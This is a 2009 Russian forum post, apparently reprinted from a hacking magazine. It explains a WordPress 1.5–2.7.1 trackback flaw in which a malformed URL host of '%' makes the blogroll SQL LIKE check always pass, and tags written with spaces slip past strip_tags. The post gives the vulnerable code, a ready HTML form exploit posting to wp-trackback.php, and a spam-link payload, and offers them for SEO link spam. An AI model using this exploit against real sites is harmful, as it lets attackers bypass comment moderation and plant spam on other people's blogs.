Показать сообщение отдельно

WordPress Comments Html Spam Vulnerability
  #2  
Старый 27.05.2009, 20:03
M4g
Участник форума
Регистрация: 08.05.2007
Сообщений: 164
Провел на форуме:
466673

Репутация: 784
Отправить сообщение для M4g с помощью ICQ
По умолчанию WordPress Comments Html Spam Vulnerability

Итак, начинаю постить найденные мной уязвимости WordPress, опубликованные в Хакере.
----
1. WordPress Comments Html Spam Vulnerability (1.5<=WordPress<=2.7.1)

Итак, перед тобой первая неопубликованная уязвимость, которую я назвал "WordPress Comments Html Spam Vulnerability".
Уязвимость затрагивает все версии движка, начиная от 1.5 и заканчивая последней (на момент написания статьи) 2.7.1.
Давай заглянем в исходники ВордПресса. Открывай файл ./wp-includes/comment.php и находи следующий код:
Код:
function check_comment($author, $email, $url, $comment, $user_ip, $user_agent, $comment_type) {
...
 if ( 'trackback' == $comment_type || 'pingback' == $comment_type ) { // check if domain is in blogroll 
            $uri = parse_url($url); 
            $domain = $uri['host']; 
            $uri = parse_url( get_option('home') ); 
            $home_domain = $uri['host']; 
            if ( $wpdb->get_var($wpdb->prepare("SELECT link_id FROM $wpdb->links WHERE link_url LIKE (%s) LIMIT 1", '%'.$domain.'%')) || $domain == $home_domain ) 
                return true; 
            else 
                return false; 
        } 
...
}
Смысл этого кода состоит в том, что:
1. Блог смотрит на URL трэкбека, парсит его с помощью parse_url (подробно о том, что такое Trackback, ищи в моей прошлогодней статье "Спамом по вебу");
2. Если хост трэкбэка присутствует в блогролле (сборник ссылок на твоем блоге), то функция check_comment() вернет true;
3. Если комментарий успешно проходит через check_comment(), то сразу начинает отображаться под постом, нет - должен пройти премодерацию.
В этом занимательном коде есть один тонкий нюанс: разработчики WordPress просто-напросто не знают, как работает функция parse_url.
Цитата с http://www.php.net/parse_url: "This function is not meant to validate the given URL".
Эти слова подразумевают то, что parse_url() элементарно не проверяет валидность переданного адреса! То есть мы можем передать в нее что-то вроде "http://%/suck_wordpress", в результате чего переменная $uri['host'] станет равной "%".
Далее, как ты уже догадался, наш evil-хост переместится в sql-запрос, который примет следующий вид:
Код:
"SELECT link_id FROM wp_links WHERE link_url LIKE '%%%' LIMIT 1"
Так как этот запрос всегда будет возвращать true, наш спам-комментарий априори будет считаться зааппрувленным
Но и это еще не все!
Для работы с трекбеком используется файл ./wp-trackback.php, в котором наше тело комментария ($excerpt) попадает в такую функцию:
Код:
 function wp_html_excerpt( $str, $count ) { 
    $str = strip_tags( $str ); 
    $str = mb_strcut( $str, 0, $count ); 
    // remove part of an entity at the end 
    $str = preg_replace( '/&[^;\s]{0,6}$/', '', $str ); 
    return $str; 
}
Казалось бы, передать ссылку здесь невозможно. Но нерадивые разработчики снова не учли здесь несколько нюансов:
1. strip_tags() успешно пропускает через себя теги вроде "< br / >" (то есть содержащие в себе пробелы);
2. kses фильтры успешно нормализуют html-теги, содержащие в себе эти самые пробелы.
И вот, исходя из этой информации, можно придумать конечный эксплойт:
Код:
<html>
<form action="http://lamer.com/wp/wp-trackback.php?p=[ID_ПОСТА]" method="post">
Тайтл: <input name="title" value="commenter"/><br/>
URL:<input name="url" value="http://%/la.com"/><br/>
Comment:<input name="excerpt" value=""/><br/>
<input name="blog_name" value="Blog" /><br/>
<input type="submit" value="ok"/>
</form>
</html>
Где в поле "Comment" вставляем:
Код:
< b >< a href="http"//ya.ru">Купить слона< / a >< / b >
В итоге, на нужном блоге мы получим зааппрувленный комментарий с выделенной жирным ссылкой "Купить слона".
Единственное замечание: этот способ в SEO годен только для Yahoo, Яндекса, MSN, так как в коде ссылки добавляется rel="nofollow", благодаря которому всемогущий Гугл не засчитывает ссылку.
 
Ответить с цитированием